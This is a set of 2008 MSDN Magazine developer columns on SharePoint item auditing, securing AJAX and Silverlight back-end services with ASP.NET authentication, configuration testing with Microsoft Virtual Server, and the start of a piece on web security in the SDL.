     ImageUrl="/_layouts/images/GORTL.GIF"
     Location="EditControlBlock"
     Sequence="300"
     Title="View Audit History">
       <UrlAction Url=
   "~site/_layouts/AuditingDemo/ItemAudit.aspx?ItemId=
   {ItemId}&amp;ListId={ListId}"/>
   </CustomAction>
A CustomAction configured for the Item content type will also apply to any content types that inherit from Item. And since all content types inherit from the Item content type, this technique will effectively add an ECB menu item to every item and document across the entire site collection.
You can test this technique out by downloading the AuditingDemo sample code and then deploying it within the farm on a SharePoint development machine. Once you have completed activation of the AuditingDemo feature in a particular site collection, you will see that every item and document now has an ECB menu item with a View Audit History title. Whenever a user selects that ECB menu item, he is redirected to the ItemAudit.aspx page, as shown in Figure 5.
Figure 5 ItemAudit.aspx Displays Audit Entries for a Particular Item
Like the AuditLogViewer.aspx page, the code behind ItemAudit.aspx uses an SPAuditQuery object to retrieve audit log data as well as a DataTable that is populated with audit log entry data and then bound to an SPGridView control. The main difference is that the code behind ItemAudit.aspx makes a call to the RestrictToListItem method of the SPAuditQuery object before running the query to filter the results so that they only pertain to the item or document in question.
It's important to note that the SPAuditQuery class also provides two additional filtering methods, RestrictToList and RestrictToUser, so that you can see audit entries for a particular list or a particular user. Also note that you can use the RestrictToUser together with either the RestrictToListItem method or the RestrictToList method to determine what a specific user has been doing with either a list or a list item.

Send your questions and comments for Ted to mmoffice@microsoft.com.

Ted Pattison is an author, trainer, and SharePoint MVP who lives in Tampa, Florida, and has just completed his book Inside Windows SharePoint Services 3.0 for Microsoft Press. He also delivers advanced SharePoint training to professional developers through his company, Ted Pattison Group (www.TedPattison.net).


Cutting Edge
Building A Secure AJAX Service Layer
Dino Esposito

Code download available at: CuttingEdge2008_09a.exe (469 KB)
Browse the Code Online
Contents
The Service Layer
Implementing an AJAX Service Layer
Built-in Protection for Service Calls
Implementing Security in the AJAX Service Layer
Retrieving User Information from the Service
Wrapping It Up
A major advantage of AJAX and Silverlight™ applications is that they can transparently and continuously interact with a back-end service. The problem is that they run over HTTP, which wasn't designed with security in mind. Yet it's important that you protect these back-end services from unauthorized access. So what do you do?
The architecture of a typical AJAX or Silverlight application is shown in Figure 1. It's essentially a two-tiered architecture with the front and back ends neatly separated by the Internet. As a result of this architecture, there is opportunity for unauthorized access between the presentation layer and the back end.
Figure 1 A Typical Architecture for a Rich Web Client App
The back end exposes its API through a collection of public URLs. These URLs refer to hosted services that are technically part of the application, yet are exposed as public services. Any high-security barrier you could place here (such as a firewall) would stop authorized as well as unauthorized calls. It would be quite difficult to completely weed out the unwanted access. Obviously, this would be much easier in an intranet or extranet scenario.
When you choose to take advantage of a Web-based distributed architecture like this, you must expect outsiders to find your services and attempt to exploit them.

The Service Layer
Modern distributed systems have an extra layer of code between the presentation and business layers—the service layer. Formalized by Martin Fowler in his book Patterns of Enterprise Application Architecture, the service layer in a distributed application represents an additional layer of code that creates a boundary between two other layers, in this case between the presentation and business layers.
The code in the presentation layer typically implements use cases. A typical use case is a sequence of actions performed by the user that result in interactions between one or more business objects, workflows, and services. The service layer allows you to abstract these smaller interactions with an intermediate API, exposed through more coarsely granular services. The presentation layer makes one call to one service in the layer. The invoked service layer method will coordinate the objects and workflows in the business layer to implement the required behavior. Figure 2 shows the benefits of the service layer.
Figure 2 The Service Layer Decouples Presentation and Business Layers
In the service layer implementation, it is common to assume that callers have been previously authenticated and authorized. Also, it is common to place the service layer in an isolated part of the network, for example behind a firewall. If the client is an ASP.NET application, you call the service layer from within the page code. However, because this code executes on the Web server, the call to the service is essentially a server-to-server call and occurs in a protected and controlled environment. No new security concerns arise in this scenario.
Now imagine a service layer in an ASP.NET AJAX or Silverlight scenario. To enable AJAX or Silverlight clients to call into the service layer, the address of the service layer's endpoints must be publicly exposed. This means removing any firewalls you may have in the middle.
Only publicly exposed functionality can be invoked from a publicly facing, rich Web client. In protecting your back-end service layer, you could implement a pared-down version of the functionality in question in your ASP.NET AJAX or Silverlight clients. This might mean, for example, that your Silverlight client shows pending orders (a non-critical operation), but is not allowed to place a new order (a critical operation). In the end, though, if you want full functionality, you need to address security.

Implementing an AJAX Service Layer
An extra layer of services—what I call the AJAX service layer—can prevent some of the unauthorized access I described. This AJAX service layer would sit in front of the traditional service layer and mediate communication between the AJAX or Silverlight presentation layer and the rest of the back-end system. The URLs of services in the AJAX service layer will be public and open to anybody who can discover them. Communication between applications and this layer is easy and not blocked in any way.
The AJAX service layer I'm recommending would not implement any application logic. It operates as an AJAX-specific gateway to the back-end system, and its sole purpose is to implement security. At the same time, however, it keeps AJAX-specific security code out of business and application services.
The AJAX service layer consists of the ASMX Web services, Windows® Communication Foundation (WCF), or representational state transfer (REST) services, that you will call from the user interface. These services perform two actions. First, they verify that the user on whose behalf the action is requested has sufficient permissions to perform the action. This check is typically about membership and roles. Once all security checks pass, the service in the AJAX service layer forwards the call down to the real application service layer. Figure 3 describes the AJAX service layer and its connection to the application service layer.
Figure 3 The AJAX Service Layer Isolates the Service Layer from Unauthorized Calls
Any call that passes through the AJAX service layer is considered safe and is allowed to reach the core system. The communication between the AJAX service layer and the service layer can be further secured using firewalls, IPsec, certificates and whatever else you can think of.
The AJAX service layer includes any service you would call directly from within an ASP.NET AJAX or Silverlight 2 application. It therefore consists of local, same-domain services you call via a direct URL (such as the WebClient class in Silverlight 2) or through a JavaScript proxy. If your user interface is based on a suite of third-party controls, any services you may bind to members of these controls (such as for paging or in-place editing purposes) should be secured as part of the AJAX service layer.
Keep in mind, however, that implementing security comes at a cost. So if a particular service doesn't really perform any operations that must be secured, you might want to leave it unprotected. This is an acceptable option and one that many Web sites employ. An autocompletion Web service, for example, has little to hide. Web sites that use autocompletion connect to a Web service to get a list of suggestions. This is a read-only operation that doesn't modify any data on the server or reveal any trade secrets. Leaving it unsecured presents little risk.
Of course, any time you allow an outsider to get into your system you are giving him a chance to exploit latent and unknown security holes. Getting calls from all sorts of clients is a necessity in AJAX, but recognizing levels of risk is a must. You can always place different services in different sub-domains.

Built-in Protection for Service Calls
ASP.NET Web services and WCF service endpoints automatically have the advantage of a built-in security barrier. By default, WebMethods of an ASMX Web service cannot be invoked from an HTTP GET call. In addition, a POST request works only if the content type is set to a particular string: application/json. This simple mechanism stops calls made as part of a script injection attack. Once some malicious script is injected in a page, a URL can only be invoked through a <script> tag. A <script> tag can also reach a cross-domain URL, but it must use an HTTP GET and cannot set headers or content type. At the same time, any downloaded script code that attempts to execute within the JavaScript engine of the local browser will be sandboxed and thus will not be able to reach any URL— local or remote.
By default, an ASP.NET AJAX or Silverlight client invokes a WCF service using an HTTP POST. To enable an HTTP GET (and to modify the format of the URL) you have to configure the service appropriately. The default content type in this case is also set to application/json.
In light of this, is there still something to be worried about? You bet.
Once the URL or static IP address of a target service has been discovered, it is relatively trivial for hackers to replay a call. The aforementioned barriers may prevent them from reaching the service using the browser—the browser always uses a GET—but there are other ways. What are they? Quite simply, they could sniff the browser-to-service communication. And once all details have been worked out, they could use a .NET smart client to prepare a call. Figure 4 shows a call to illustrate the point.
Figure 4 Full-Trust Code to Invoke
void Button1_Click(object sender, EventArgs e)
{
    string url = "http://contoso.com/services/service.asmx/GetCompletionList";
    WebRequest request = WebRequest.Create(url);
    request.Method = "POST";
    request.ContentType = "application/json";
    Stream stmReq = request.GetRequestStream();
    StreamWriter writer = new StreamWriter(stmReq);
    writer.Write(@"{""prefixText"":""Lon"",""count"":5}");
    writer.Close();

    WebResponse response = request.GetResponse();
    Stream stmResp = response.GetResponseStream();
    StreamReader reader = new StreamReader(stmResp);
    string text = reader.ReadToEnd();

    reader.Close();
    stmResp.Close();
}
The code uses the WebRequest and WebResponse classes in the System.Net namespace in a Windows Forms application to make a direct call. Because the application runs as full trust, no restrictions apply, and anybody who has the URL and call details can remotely invoke your service.

Implementing Security in the AJAX Service Layer
To figure out ways to protect your AJAX service layer effectively, you should look again at Figure 3. Two groups of users may call services in the AJAX service layer: legitimate users and outsiders﻿. Legitimate users connect through a regular Web front end, be it ASP.NET AJAX or Silverlight 2. Outsiders reach the URL using any platform they can—usually a custom full-trust application.
To allow access to legitimate users and reject malicious ones, you should identify a piece of information that only legitimate users can easily provide. As Figure 5 shows, that special piece of information is the authentication cookie.
Figure 5 Legitimate Users Connect After Passing Through a Login Interface
The key is to isolate in a protected user interface element—an ASP.NET page in this case—any function that needs to invoke a sensitive service method. By requiring that any user who wants to invoke that functionality pass through a login page first, you guarantee that any subsequent requests originated by that user carry the authentication cookie issued by the application's membership system.
The login page gets credentials from the user and verifies whether the user is authorized to visit the page. If all is fine, the request is authorized and an authentication cookie is generated and attached to the response. From then on, any requests the user makes to the application, including service requests, will carry the cookie. As a result, any invoked services in the AJAX service layer should check for the authentication cookie to ensure that a legitimate user is making the request.
Any page that carries security-sensitive operations in ASP.NET AJAX or Silverlight 2 applications should be placed in a protected area of the Web site. To filter access to a specific area, add the following configuration fragment to the web.config file:
<location path="MembersOnly">
    <system.web>
        <authorization>
            <deny users="?" />
        </authorization>
    </system.web>
</location>
Here, the contents of the MembersOnly folder are restricted to authenticated users. Finally, you need to turn on authentication. In this example, I'm enabling ASP.NET forms authentication:
<authentication mode="Forms">
    <forms loginUrl="MembersOnly/login.aspx">
    </forms>
</authentication>
Admittedly, this is not rocket science.
Once a user has successfully visited the login page, a valid authentication cookie is attached to the response. This cookie will be used for any subsequent request until it expires.
It is interesting that this approach works for both ASP.NET AJAX and Silverlight 2. The Silverlight plug-in, in fact, relies on the browser's underlying infrastructure (which is only visible to plug-ins) to execute remote calls. This ensures that authentication cookies (and any other cookies) are appended to the request.

Retrieving User Information from the Service
The authentication cookie issued by the application is passed to the Web service or WCF service. But how can the service access this information? Let's tackle ASMX Web services first.
An ASMX Web service is always hosted by the ASP.NET worker process; thus it has access to the HTTP context of the ASP.NET request being processed. If you derive the Web service class from the WebService class defined in the System.Web.Services namespace, then your class will inherit the Context property and will then have access to all of its properties, including Session, Request, Response, and, especially, User. If you choose not to derive your class from WebService, you can still access the same ASP.NET intrinsic objects using the HttpContext.Current property. In any case, the ASP.NET request context is always available to an ASMX Web service.
For a WCF service, things are different. A WCF service can be hosted in IIS either side-by-side with ASP.NET or in compatibility mode. The default configuration is side-by-side with ASP.NET.
Requests for a WCF service are received by the ASP.NET run time, but it doesn't participate in the processing of these requests. Within the worker process, the WCF run time detects incoming requests and processes them through the WCF stack.
When ASP.NET and WCF work side-by-side, there are a few side effects to note. For example, you can't define an access control list to the SVC resource and, more important in this context, the HttpContext.Current property always returns null when accessed from within a WCF service. ﻿As a result, there's no way for the WCF service to grab any information about the ASP.NET logged-in user.
In general, the WCF model is designed to work regardless of the hosting environment or transport mechanism. However, security over the AJAX service layer requires a stricter collaboration between WCF and the host ASP.NET environment. This is just what the ASP.NET compatibility mode for WCF addresses.
When running in compatibility mode, a WCF service fully participates in the lifecycle of the ASP.NET request. The net effect is that the WCF service has access to the same information as an ASMX Web service. In particular, file-based authorization is supported and, more important, HttpContext.Current is correctly set.
Compatibility mode is a global setting enabled at the application level. Individual services, though, are allowed to refuse or accept the mode. To turn on compatibility mode, you need to enter the following fragment in the configuration file:
<system.serviceModel>
  <serviceHostingEnvironment
     aspNetCompatibilityEnabled="true" />
</system.serviceModel>
Individual services declare their support for compatibility mode through the RequirementsMode property of the AspNetCompatibilityRequirements attribute, which is to be set on the service class, not the contract. Values for the property are Required, Allowed, and NotAllowed. The default is NotAllowed, which means that each WCF service in the AJAX service layer must have the RequirementsMode property changed to either Allowed or Required:
[AspNetCompatibilityRequirements(
    RequirementsMode = AspNetCompatibilityRequirementsMode.Required)]
public class TimeService : ITimeService
{
   ﻿:
}
Based on this information, each critical method in a service within the AJAX service layer should incorporate a piece of code that checks the identity of the logged-in user. Here's an example:
public class TimeService : ITimeService
{
   public DateTime GetTime()
   {
      CheckIdentity();
      ...
   }
}
The CheckIdentity function is an arbitrary function that reads the identity of the user as propagated by the authentication cookie and resolved by the ASP.NET pipeline:
private void CheckIdentity()
{
  string user = HttpContext.Current.User.Identity.Name;
  if (AuthenticationHelper.VerifyUser(user))
      return;

  throw new InvalidOperationException("Invalid credentials");
}
In this case, CheckIdentity is designed to throw an exception if no user name is available or if the user name is not in the list of authorized users. You can also change the implementation to make the method return a Boolean value and let the service method decide what to do.
With this design in place, any outsider making a call to the service without passing through the login page will send an HTTP packet devoid of the authentication cookie. As a result, the User object in the HTTP context is null and CheckIdentity throws an exception. How secure is this approach? It is as secure as forms authentication itself, which is one of the pillars of the ASP.NET platform. The outsider has just one way to succeed: by stealing an authentication cookie and using it before it expires.
ASMX and WCF services take advantage of the information stored in the ASP.NET HTTP context. What about REST services in the AJAX service layer? If you implement a REST service using the WCF Web programming model in the Microsoft® .NET Framework 3.5, then you are covered by WCF compatibility mode. However, if you create a custom service by simply calling a URL and having it return plain old XML or JSON (JavaScript Object Notation) data, then the service endpoint is merely an ASP.NET endpoint and it has full access to the HTTP context.

Wrapping It Up
Services in the AJAX service layer can be secured as discussed here regardless of the client platform, be it ASP.NET AJAX or Silverlight 2. The AJAX service layer includes all public endpoints that a rich Web client needs to invoke to accomplish its tasks. These services play an essential role in the life of the application, yet they are public endpoints. As such, they can also be invoked by outsiders, creating an inherent security hazard.
To protect these services, you can force users to pass through a login page so that an ASP.NET authentication cookie is attached to the request and moved around with subsequent requests. The cookie allows you to differentiate between legitimate users and outsiders. You can't avoid public endpoints, but you need a way to recognize authorized users and keep others off your site.

Send your questions and comments for Dino to cutting@microsoft.com.

Dino Esposito is an architect at IDesign and also the author of Programming ASP.NET 3.5 Core References. Based in Italy, Dino is a frequent speaker at industry events worldwide. You can join his blog at weblogs.asp.net/despos.


Test Run
Configuration Testing With Virtual Server, Part 1
Dr. James McCaffrey
Contents
Installing Virtual Server
Creating Virtual Machines
Installing an OS on the Guest Machine
Creating Undo Disks, Differencing Disks, and Backups
Performing the Tests
Wrapping Up
In this month's column, I'll introduce you to software configuration testing with Microsoft® Virtual Server. Configuration testing is a general term that simply means testing a software system on different combinations of hardware and software. The traditional way to perform software configuration testing is to set up a lab with multiple physical machines running different combinations of operating systems, Web browsers, and other software. This can be expensive and time consuming. Happily, Virtual Server allows you to perform some types of software configuration testing by creating multiple virtual machines on a single physical machine.
In discussions with my colleagues, I learned that many of the techniques for configuration testing with Virtual Server are not widely known, so I set out to create a complete explanation of the process. This month's column is intended for beginners, so I'll assume you have no experience using Virtual Server.
The screenshot in Figure 1 illustrates many of the key concepts of configuration testing with Virtual Server. It demonstrates the testing of a DLL file on a Windows® 2000 Professional machine. The physical machine is running Windows Server® 2008 and is called the host machine in Virtual Server terminology. Behind the scenes, Virtual Server is running as a Windows service on the host machine. The virtual machine instance, which is running Windows 2000 Professional, is called the guest machine and is managed using a Web-based interface. In this example, I am running only one guest machine, but I can run multiple guests simultaneously on the host if I want.
Figure 1 Configuration Testing with Virtual Server
In the guest machine, you can see that I have three windows open: two instances of Windows Explorer and a command shell. The top instance of Windows Explorer is pointing to \\WIN-6IN7WRUV5QY\Public, which is a share on the host machine. The bottom instance of Windows Explorer is pointing to C:\Tests, which is a directory on the guest. In my scenario, I copy two test files, testHarness.js and testData.txt, from the host onto the guest. I then execute a simple automated test that exercises a DLL on the guest. Of course, I could have performed any type of manual or automated test on the guest; the important idea here is that I have a fully functional Windows 2000 machine available to test any type of software I want.

Installing Virtual Server
Installing Virtual Server is straightforward, but there are a few factors you should take into consideration if you plan to perform configuration testing. Virtual Server 2005 R2 SP1, the current version, is available as a free download from microsoft.com/downloads. Each guest virtual machine requires processor resources, RAM, and hard disk space; as a general rule, the more of these resources your host machine has, the better. When using Virtual Server for configuration testing, you will likely have a large number of virtual hard drives, but normally you'll run only one virtual machine at a time. So, ideally you want to have an environment where you have a large amount of disk space and a reasonable amount of RAM. Of course, the reality is that you will probably be using an old machine with very limited resources.
A slightly more subtle installation issue involves your host machine's network adapters and network membership. It is quite feasible to create a completely standalone Virtual Server machine. But, as I'll show you shortly, when using Virtual Server for software configuration testing it is useful for your guest virtual machines to have access to other physical machines on a local network and to have access to the Internet.
My preferred configuration is to use a host machine with two network adapters, one of which is connected purely to a local network and one of which is connected to the Internet. As a matter of personal preference, although I do connect my host to a local network (so I can easily transfer files to the host), I do not join my host to the local network domain. That said, an advantage of joining your Virtual Server host machine to an Active Directory® domain is simplified authentication when you manage the machine; if your host machine is not part of a domain, you must repeatedly identify yourself using Windows NT® LAN Manager (NTLM) authentication, which can get rather tedious. Finally, I strongly recommend that your Virtual Server host machine be dedicated strictly to Virtual Server activities.
Virtual Server uses a Web-based management scheme and, therefore, requires IIS. So note that before starting the Virtual Server installation, you should enable and configure IIS on your host machine. That said, when you install Virtual Server on a host running Windows Vista SP1 or Windows Server 2008, IIS is installed automatically as a part of the Virtual Server setup. Once you have configured your host machine and downloaded the Virtual Server installation setup.exe file, you can begin the installation process.
The majority of the installation process is straightforward and consistent with most application installers. The configuration dialog, however, is one that causes Virtual Server beginners the most confusion. The screen asks you to specify a port number for the Virtual Server administration Web site. The default is port 1024, and you should use this unless the port number is unavailable. The configuration screen also asks you to select whether you want the Virtual Server administration Web site to run under a user account or under the Local System account. You should select the default user account option unless you intend to store some or all of your Virtual Server data, such as virtual hard drive files and virtual machine configuration files, on one or more remote machines. In that scenario you should choose the Local System option so that your host machine running the Virtual Server service can access those files.
Keeping all your data on a single machine is a simpler approach, and I prefer it whenever possible. The price of external hard drives has dropped to a point where they make an excellent storage solution for virtual machines for configuration testing, as opposed to using either secondary internal hard drives or remote storage on another machine.
In the installer you will also see an option to enable Windows Firewall exceptions for Virtual Server. As an alternative to Virtual Server's Web-based remote administration, you can enable the Remote Desktop feature on your guest machines. Remember to enable exceptions in Windows Firewall.

Creating Virtual Machines
Before you can perform configuration testing using Virtual Server you must create one or more virtual machines. It's easiest to use the GUI interface of the Virtual Server administration Web application. Additionally, Virtual Server exposes COM interfaces that enable you to automate management tasks using your favorite scripting host. You can navigate to the administration Web page by typing http://machinename:1024/ in the address bar of Internet Explorer® and you will be redirected to the application running at http://machinename:1024/VirtualServer/VSWebApp.exe—or you can access the page from the shortcut in the Start menu. The administration page defaults to a view of your Virtual Server status and a list of recently logged events. It's a good idea to scan the event messages to make sure that the Virtual Server service is properly running in the background.
Now you need to click the Create link in the Virtual Machine category. You will be redirected to the Create Virtual Machine page shown in Figure 2. Here you'll name your virtual machine. You should give some thought to both the location and the name. The name you specify will become the name of the virtual machine .vmc configuration file. If you just type in a name such as "MyVirtualMachine," you will create file MyVirtualMachine.vmc at a default location, which is %SystemRoot%\Users\Public\Documents\Shared Virtual Machines\ on Windows Server 2008, and %SystemRoot%\Documents and Settings\All Users\Documents\Shared Virtual Machines\ on Windows Server 2003.
Figure 2 Creating a Virtual Machine
Because I use many different virtual machines and a lot of hard disk space when I use Virtual Server for configuration testing, I prefer to place my virtual machines in a non-default directory closer to the system root or even on a separate hard drive. It's usually a good idea to give your virtual machine a name that includes a description of the guest machine's operating system and any key software components on the guest. Even though the .vmc virtual machine configuration files are XML-based and easily readable, a descriptive file name makes the management of multiple virtual machines much easier.
In addition to an explicit .vmc file, the virtual machine creation process also creates a shortcut .lnk file at a default location (%SystemRoot%\Users\All Users\Microsoft\Virtual Server\Virtual Machines\ on Windows Server 2008). You need to remember this in case you want to delete a virtual machine manually by deleting the .vmc file. If you do not also delete the .lnk file and later try to create a new virtual machine with the same name as the deleted machine, you will get an error stating that the machine already exists. If you remove a virtual machine from a virtual server using the Web interface, only the shortcut file is actually deleted, so you can recover your virtual machine simply by recreating the shortcut.
After specifying the virtual machine's name and location you must specify the amount of RAM for the guest machine, as shown in Figure 3. Keep in mind that the host's RAM is used by the physical host machine and all running virtual guest machines. So, for example, if your host machine has 2GB of RAM, and you are running two virtual machines, each with 512MB (one-half a GB) of RAM, you will have 1GB of RAM available for the host (minus approximately 75MB per virtual machine for overhead).
Figure 3 Creating a Virtual Hard Disk
The next step in creating a virtual machine is to specify whether you want to use an existing virtual hard drive or create a new one. For configuration testing you need to create a new one, so select the Create New Virtual Hard Disk option. For the size field, specify the largest amount of memory your virtual machine will need. As a rule of thumb, I have found that 20GB is a reasonable choice for configuration testing in most situations.
Naturally, though, the amount of disk space you will need is based on the type of applications that you will need to instal, so be sure to get a rough estimate before creating the virtual disk. The size you specify is the maximum size that the virtual hard disk can grow to, not a fixed size. Interestingly, even if your physical host machine has only an IDE hard disk bus, you can specify a SCSI bus for your virtual hard disk to increase performance and storage capacity. In general, I use a virtual IDE bus for configuration testing because performance is normally not an issue.
The last step in creating a new virtual machine is to specify a virtual network adapter. As I've explained, I like to use two physical network adapters on my host machine. If you examine the screenshot in Figure 4, you can see that I have four options: Not Connected, two External Network selections, and Internal Network. When you install Virtual Server, the setup process scans your host machine for network adapters. In this example, I have an 802.11g wireless adapter that I use to connect to the Internet and a wired adapter that I use to connect to a local network. Virtual Server places each adapter name in parentheses preceded by the text "External Network."
Figure 4 Virtual Network Adapters
If you add a new network adapter to your host machine after installing Virtual Server, you can add to the list of available virtual adapters by clicking on the Create option of the Virtual Networks section on the main administration Web page. I recommend following the same network adapter naming conventions used by Virtual Server, which makes it very easy to identify the mapping between virtual network adapters on the guest machines and physical adapters on the host machine.
If you select the Not Connected option, your virtual machine will be completely isolated from all other machines—even the host machine—and you will not be able to copy files to or from the virtual machine. If you select the Internal Network option, your virtual machine will be able to connect to other virtual machines running on your host, but not the host machine itself. If you choose one of the virtual adapters associated with a physical adapter on the host, your virtual machine can connect to the host machine and reach anywhere the host can reach through its adapter.
In general, when using Virtual Server for configuration testing you will want to select one of the virtual adapters associated with a physical adapter on the host so that you can copy test-related files to the virtual machine and so that you can reach your system under test if it is network-based or Web-based (such as an ASP.NET Web app). Also, note that for simply deploying files to your virtual disk, you can use the vhdmount feature of Virtual Server to mount the vhd and then copy files to it.
After setting the virtual machine name, memory, hard disk, and network adapter options, you can click the Create button to create your virtual machine. When you view the Configure options for your machine, you'll see your current settings, as shown in Figure 5.
Figure 5 Virtual Machine Configuration Summary

Installing an OS on the Guest Machine
Before you can use a virtual machine, you must install an operating system just as you would for a physical machine. Virtual Server beginners often incorrectly assume that a guest machine inherits an operating system or runtime in some way from the host machine. There are several ways to install an operating system on the guest. If your physical host machine has a CD/DVD drive, an easy installation technique is to insert a bootable CD or DVD containing an operating system into the host machine's CD/DVD drive. If Virtual Server has registered a virtual CD/DVD drive with the guest, the AutoRun feature of the virtual machine will kick in and automatically launch the operating system setup program when you start your virtual machine.
Once the OS installation on the virtual machine begins, the process is exactly like installing an OS on a physical machine. In Figure 6, note that the Windows XP setup program believes it is installing onto a physical machine with a 20GB disk drive. As soon as you begin the installation process you will notice that you have to perform a mouse-click into the ActiveX® control area in Internet Explorer in order to enable the virtual machine to recognize mouse and keyboard input. To place mouse and keyboard focus outside of your virtual machine and back onto your host machine you must tap the right Alt key.
Figure 6 Installing an Operating System on the Guest
Setup will proceed normally except that the process will take a bit longer than it would on a physical machine. The main reason for this is that Virtual Server must dynamically expand as needed to accommodate operating systems files as they are copied from the host CD/DVD drive to the guest virtual machine. When Virtual Server is expanding the virtual disk drive, it may appear that the installation process has stalled—just be patient and the setup will continue after a few minutes. When the OS setup program asks you to specify a name for the guest machine, you should make sure that the machine name is unique relative to any other machines it may connect to; if your virtual machine is connected to a network, the machine name is the one you specify during setup and not the name you specify for the .vmc configuration file.
After you have completed installing the guest operating system, you should install the Virtual Machine Additions on the guest. Virtual Machine Additions can be installed onto a virtual machine to increase its performance and screen resolution, and it allows you to switch focus between guest machine and host machine by simply moving your mouse pointer.
To install Virtual Server Additions, start your virtual machine from the main administration Web page by clicking on the virtual machine icon. After the machine's status has updated from Off to Running, click on the icon again to go to a page that contains an ActiveX control that allows you to manipulate the guest machine. After logging onto the guest machine, scroll to the bottom of the administration Web page and click on the Click here to start Virtual Machine Additions set link. This will launch the installer application for Virtual Machine Additions.

Creating Undo Disks, Differencing Disks, and Backups
When you are using Virtual Server for configuration testing, it is very helpful to understand how to create and use undo disks, differencing disks, and backups. By default, when you create a virtual machine, all the changes you make to it are saved to its .vhd file when you shut down the virtual machine. Then when you restart it, all the changes are automatically read from the virtual hard disk file. This is exactly what you want when you use Virtual Server for machine consolidation.
However, this is not always what you want when using Virtual Server for configuration testing. In most situations, you want your virtual machine to start up in the same state for every test you run on the machine. One way to discard any changes made to the guest is to enable undo disks on the guest. If you do so, all changes you have made to the virtual machine while you are using it are saved in a .vud file. The Virtual Server administration page then gives you the option to either commit or delete changes to the underlying .vhd file.
To enable undo disks, click on the Configure item in the Virtual Machines section on the main page of the Virtual Server administration Web site. Then click on the Hard Disks item and check the Enable Undo Disks entry. Now when your virtual machine is running, the administration page gives you several options including Turn off virtual machine and commit undo disks, which effectively keeps all changes made to the state of your virtual machine; and Turn off virtual machine and discard undo disks, which effectively tosses out changes and keeps the original state of your virtual machine.
So when using Virtual Server for configuration testing, you usually want to enable undo disks so that you can run some tests on your guest and then reset the machine to the state before the tests were run. Undo disks are an effective way to manage virtual machine state, but based on my experience you should also make sure that you have a copy of your virtual machine's original virtual disk (.vhd) and machine configuration (.vmc) files. This is important because when performing tests on a virtual machine, it is very possible to get the machine into a state where you cannot use the Virtual Server administration site and thus can't gracefully discard your undo disks.
Differencing disks are a cousin to undo disks. A differencing disk is essentially a child virtual hard disk of a parent virtual hard disk. The large parent .vhd file contains the core state of a virtual machine (usually the OS and key software for your particular environment), and the smaller differencing disk contains only deltas to the parent disk. In configuration testing, you would typically use differencing disks to create a core operating system .vhd file (Windows XP with SP2 for example) and then create several child differencing disks, each with a different Web browser (Internet Explorer 6.0, Internet Explorer 7.0, and so on). With this approach you can save a lot of disk space on your host machine because each child .vhd differencing disk file is only a tiny fraction of the size of a full parent .vhd file.
To create a differencing disk, navigate to the main administration page, click the Create item in the Virtual Disks section, and then select the Differencing Virtual Hard Disk option. You will be directed to a page where you can specify the location and name of the new differencing disk file as well as the location and name of an existing .vhd file that you want to serve as the parent.
After creating a differencing disk you should use only the child disk, never the parent disk, because if the parent disk changes in any way the child disk will likely become unusable. This means that before you create a differencing disk you should make a backup copy of the intended parent .vhd file, set the file permissions of the parent .vhd file to read-only, and make sure that no virtual machine is configured to use the parent .vhd file. Until recently I was a big fan of using differencing drives; however, with the cost of hard disk drive space so low, I now generally prefer to make multiple full .vhd files.

Performing the Tests
Once you have created a virtual machine, software testing on the machine is just like testing on a physical machine. If your system under test runs locally (like a file compression utility does, for example) then you must copy or install the system under test onto your virtual machine and then perform automated tests, manual tests, or both. To copy the system under test or test files to a virtual machine, you can copy those files from a machine to which the virtual machine has access (which means the virtual machine must be connected to the special Internal Network adapter or a physical adapter on the host).
One technique I've used in the past is to create a virtual storage machine that holds the current build/iteration of the system under test and test-related files, and transfer files to various virtual machines via the Internal Network adapter. Another approach for copying application files is to burn them to a CD/DVD or build them into an ISO image and then mount that image within Virtual Server. Still another approach to copying files from host to guest is to use the vhdmount.exe utility that ships with Virtual Server; the product documentation explains how to do this.
In my experience I have found that Virtual Server is especially useful for configuration testing of Web apps. In this situation, you need to create a .vhd file that has the target Web browser installed, run the associated virtual machine, and point to the Web app under test. Depending upon your scenario, you may find that you need to test a live Web application on the Internet (in which case your host machine must have access to the Internet), on an intranet (your host machine must have access to the Web server that hosts the Web app), or both. Part of the beauty of using Virtual Server guest machines for software configuration testing is that all your normal testing paradigms work just as they do on physical machines.

Wrapping Up
Virtual PC and Virtual Server, the two current virtualization systems from Microsoft, are built upon the same core code base and are similar in many respects. Although useful and powerful, the upcoming Microsoft Hyper-V™ system promises to be a huge advance in virtualization technology. Like Virtual Server (but unlike Virtual PC), Hyper-V will be completely automatable. Additionally, Hyper-V will introduce a wide range of new features. Understanding the principles and techniques of performing configuration testing with Virtual Server provides you with an excellent foundation for understanding and transitioning to Hyper-V. That said, Hyper-V is only supported on 64-bit machines, so if you want to use a 32-bit machine as your virtualization host, Virtual Server is still the way to go.
One nice facet of Virtual Server that I did not have room to cover in this column is that Virtual Server is built upon a large set of classic COM components, so can it be completely automated. Although Virtual Server automation is well documented, much of the information is aimed at using Virtual Server for server consolidation tasks rather than for configuration testing. My next column will describe how to entirely automate configuration testing using Virtual Server.

Send your questions and comments for James to testrun@microsoft.com.

Dr. James McCaffrey works for Volt Information Sciences, Inc., where he manages technical training for software engineers working at the Microsoft Redmond campus. He has worked on several Microsoft products including Internet Explorer and MSN Search. James is the author of .NET Test Automation Recipes. He can be reached at jmccaffrey@volt.com or v-jammc@microsoft.com.


Security Briefs
SDL Embraces The Web
Bryan Sullivan

This article is based on a prerelease version of SDL guidance and tools. All information herein is subject to change.
Contents
XSS: The New Buffer Overflow
Validate All Input
Use ValidateRequest
Encode Output
Use Static Analysis to Test for Vulnerabilities
SQL Injection
Use Parameterized Stored Procedures
Avoid "EXECUTE @sql"
Restrict Database Permissions
Cross-Domain Trust Issues
Document.domain
Crossdomain.xml
The Security Development Lifecycle (SDL) team recently released details of the SDL process that has been so successful in helping to make Microsoft products more secure. You can find these documents at microsoft.com/sdl.
As you read through this SDL guidance you will find strategies for securing client/server applications. Mitigation strategies for buffer overflow vulnerabilities are also covered extensively. With no less than three required compiler and linker switches (/GS, /SAFESEH, and /NXCOMPAT), 20-or-so code analysis warnings (found with the /analyze option in Visual Studio® 2005 and later), and more than 150 banned API functions, overflow vulnerabilities seem to be public enemy number one for the SDL.
What you won't find in the publicly available SDL documentation is guidance specific to securing Web applications or online services. To be sure, most of the SDL non-implementation requirements apply equally to client/server and Web applications. It's just as important to threat model your Web Forms applications as it is your Windows® Forms applications. Likewise, it is just as important to perform a Final Security Review for a SOAP service as for a Windows service. But what about Web-related vulnerabilities like cross-site scripting (XSS) and SQL injection? If the SDL pays so much attention to defending client/server applications against buffer overflows, why doesn't it pay attention to defending online services against XSS attacks, the public enemy number one of the Web?
